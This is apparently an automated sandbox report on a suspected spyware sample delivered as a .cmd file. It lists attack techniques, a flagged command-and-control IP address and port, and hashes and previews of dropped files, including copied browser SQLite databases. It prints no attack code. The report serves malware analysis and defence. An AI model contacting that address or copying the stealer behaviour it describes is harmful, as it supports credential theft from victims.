Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	241 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	112 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
z52PO0048857.cmd	8%	ReversingLabs

Source	Detection	Scanner	Label
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://crl.micro	0%	URL Reputation	safe
https://aka.ms/pscore6lB	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ip.sb	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://51.195.145.77:57942/	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ac.ecosia.org/autocomplete?q=	tmpEA92.tmp.3.dr, tmpEB35.tmp.3.dr, tmpEA52.tmp.3.dr, tmpEB65.tmp.3.dr, tmpEAD4.tmp.3.dr, tmpEAC3.tmp.3.dr, tmpEAA3.tmp.3.dr, tmpEB34.tmp.3.dr, tmpEB04.tmp.3.dr, tmpEB14.tmp.3.dr, tmpEA62.tmp.3.dr, tmpEB66.tmp.3.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/chrome_newtab	tmpEA92.tmp.3.dr, tmpEB35.tmp.3.dr, tmpEA52.tmp.3.dr, tmpEB65.tmp.3.dr, tmpEAD4.tmp.3.dr, tmpEAC3.tmp.3.dr, tmpEAA3.tmp.3.dr, tmpEB34.tmp.3.dr, tmpEB04.tmp.3.dr, tmpEB14.tmp.3.dr, tmpEA62.tmp.3.dr, tmpEB66.tmp.3.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	tmpEA92.tmp.3.dr, tmpEB35.tmp.3.dr, tmpEA52.tmp.3.dr, tmpEB65.tmp.3.dr, tmpEAD4.tmp.3.dr, tmpEAC3.tmp.3.dr, tmpEAA3.tmp.3.dr, tmpEB34.tmp.3.dr, tmpEB04.tmp.3.dr, tmpEB14.tmp.3.dr, tmpEA62.tmp.3.dr, tmpEB66.tmp.3.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	tmpEA92.tmp.3.dr, tmpEB35.tmp.3.dr, tmpEA52.tmp.3.dr, tmpEB65.tmp.3.dr, tmpEAD4.tmp.3.dr, tmpEAC3.tmp.3.dr, tmpEAA3.tmp.3.dr, tmpEB34.tmp.3.dr, tmpEB04.tmp.3.dr, tmpEB14.tmp.3.dr, tmpEA62.tmp.3.dr, tmpEB66.tmp.3.dr	false		unknown
http://crl.micro	powershell.exe, 00000005.00000002.1448410913.00000000077CB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000005.00000002.1445238637.00000000051D3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1445238637.00000000051F8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	tmpEA92.tmp.3.dr, tmpEB35.tmp.3.dr, tmpEA52.tmp.3.dr, tmpEB65.tmp.3.dr, tmpEAD4.tmp.3.dr, tmpEAC3.tmp.3.dr, tmpEAA3.tmp.3.dr, tmpEB34.tmp.3.dr, tmpEB04.tmp.3.dr, tmpEB14.tmp.3.dr, tmpEA62.tmp.3.dr, tmpEB66.tmp.3.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	tmpEA92.tmp.3.dr, tmpEB35.tmp.3.dr, tmpEA52.tmp.3.dr, tmpEB65.tmp.3.dr, tmpEAD4.tmp.3.dr, tmpEAC3.tmp.3.dr, tmpEAA3.tmp.3.dr, tmpEB34.tmp.3.dr, tmpEB04.tmp.3.dr, tmpEB14.tmp.3.dr, tmpEA62.tmp.3.dr, tmpEB66.tmp.3.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	tmpEA92.tmp.3.dr, tmpEB35.tmp.3.dr, tmpEA52.tmp.3.dr, tmpEB65.tmp.3.dr, tmpEAD4.tmp.3.dr, tmpEAC3.tmp.3.dr, tmpEAA3.tmp.3.dr, tmpEB34.tmp.3.dr, tmpEB04.tmp.3.dr, tmpEB14.tmp.3.dr, tmpEA62.tmp.3.dr, tmpEB66.tmp.3.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	tmpEA92.tmp.3.dr, tmpEB35.tmp.3.dr, tmpEA52.tmp.3.dr, tmpEB65.tmp.3.dr, tmpEAD4.tmp.3.dr, tmpEAC3.tmp.3.dr, tmpEAA3.tmp.3.dr, tmpEB34.tmp.3.dr, tmpEB04.tmp.3.dr, tmpEB14.tmp.3.dr, tmpEA62.tmp.3.dr, tmpEB66.tmp.3.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.1445238637.00000000051D3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	tmpEA92.tmp.3.dr, tmpEB35.tmp.3.dr, tmpEA52.tmp.3.dr, tmpEB65.tmp.3.dr, tmpEAD4.tmp.3.dr, tmpEAC3.tmp.3.dr, tmpEAA3.tmp.3.dr, tmpEB34.tmp.3.dr, tmpEB04.tmp.3.dr, tmpEB14.tmp.3.dr, tmpEA62.tmp.3.dr, tmpEB66.tmp.3.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
51.195.145.77	unknown	France		16276	OVHFR	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1535306
Start date and time:	2024-10-16 20:38:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	z52PO0048857.cmd
Detection:	MAL
Classification:	mal96.troj.spyw.evad.winCMD@8/51@1/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 6 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .cmd Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 104.26.13.31, 104.26.12.31, 172.67.75.172
Excluded domains from analysis (whitelisted): api.ip.sb.cdn.cloudflare.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 4080 because it is empty
Not all processes where analyzed, report is missing behavior information
VT rate limit hit for: z52PO0048857.cmd

Simulations

Behavior and APIs

Time	Type	Description
14:39:06	API Interceptor	48x Sleep call for process: powershell.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
OVHFR	(No subject) (87).eml	Get hash	malicious	HTMLPhisher	Browse	54.36.150.180
	SecuriteInfo.com.Trojan.DownLoader25.33926.32281.13140.exe	Get hash	malicious	Unknown	Browse	213.251.172.94
	SecuriteInfo.com.Trojan.DownLoader25.33926.32281.13140.exe	Get hash	malicious	Unknown	Browse	213.251.172.94
	https://guillaumerobin.com/djvjnvdjndjvjnjnvjnvdjn.html	Get hash	malicious	Unknown	Browse	51.91.236.193
	na.elf	Get hash	malicious	Unknown	Browse	54.36.111.116
	na.elf	Get hash	malicious	Mirai	Browse	87.98.146.134
	na.elf	Get hash	malicious	Mirai	Browse	51.254.200.167
	na.elf	Get hash	malicious	Mirai	Browse	37.187.28.223
	na.elf	Get hash	malicious	Unknown	Browse	54.36.111.116
	https://braxishost.com/	Get hash	malicious	Unknown	Browse	144.217.191.134

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5829
Entropy (8bit):	4.901113710259376
Encrypted:	false
SSDEEP:	96:ZCJ2Woe5H2k6Lm5emmXIGLgyg12jDs+un/iQLEYFjDaeWJ6KGcmXlQ9smpFRLcUn:Uxoe5HVsm5emdQgkjDt4iWN3yBGHVQ9v
MD5:	7827E04B3ECD71FB3BD7BEEE4CA52CE8
SHA1:	22813AF893013D1CCCACC305523301BB90FF88D9
SHA-256:	5D66D4CA13B4AF3B23357EB9BC21694E7EED4485EA8D2B8C653BEF3A8E5D0601
SHA-512:	D5F6604E49B7B31C2D1DA5E59B676C0E0F37710F4867F232DF0AA9A1EE170B399472CA1DF0BD21DF702A1B5005921D35A8E6858432B00619E65D0648C74C096B
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8672
Entropy (8bit):	5.697815035647521
Encrypted:	false
SSDEEP:	192:cyt3CzJFQjMVyhGUUG59HGVWMc0qj5twXTm:ci3CzJFQj/hzDHG8XhjOTm
MD5:	818C46B29F3B210B3000C88BB0CC3A1E
SHA1:	A7038972B9FF12A44489AEE123E9942A66E63FC8
SHA-256:	4D7096B0AB0529BD43072CFA14E59FF81A6B7E39FFB9CF152640523508E62E39
SHA-512:	DB77FF5B61B2718FE0E0B0AB9F54C9090AE83BE1217F46802426921E1884B00DDB3E75D9FE63F5D6DF6E06D06249DB442B8447DD72622BF81B4810A26688D123
Malicious:	false
Reputation:	low
Preview:	@...e...........................................................<...................W..I......B6........System.ServiceModel.H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...D...

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4czvfbzv.1zw.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e5un1atl.uht.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o0quh5wl.lok.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ylubsnwe.iv2.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmpE9EE.tmp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE9FF.tmp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpEA0F.tmp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpEA20.tmp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpEA30.tmp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpEA41.tmp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpEA52.tmp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1373607036346451
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
MD5:	64BCCF32ED2142E76D142DF7AAC75730
SHA1:	30AB1540F7909BEE86C0542B2EBD24FB73E5D629
SHA-256:	B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
SHA-512:	0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpEA62.tmp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1373607036346451
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
MD5:	64BCCF32ED2142E76D142DF7AAC75730
SHA1:	30AB1540F7909BEE86C0542B2EBD24FB73E5D629
SHA-256:	B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
SHA-512:	0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpEA92.tmp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1373607036346451
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
MD5:	64BCCF32ED2142E76D142DF7AAC75730
SHA1:	30AB1540F7909BEE86C0542B2EBD24FB73E5D629
SHA-256:	B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
SHA-512:	0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpEAA3.tmp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1373607036346451
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
MD5:	64BCCF32ED2142E76D142DF7AAC75730
SHA1:	30AB1540F7909BEE86C0542B2EBD24FB73E5D629
SHA-256:	B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
SHA-512:	0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpEAC3.tmp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1373607036346451
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
MD5:	64BCCF32ED2142E76D142DF7AAC75730
SHA1:	30AB1540F7909BEE86C0542B2EBD24FB73E5D629
SHA-256:	B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
SHA-512:	0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpEAD4.tmp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1373607036346451
Encrypted:	false
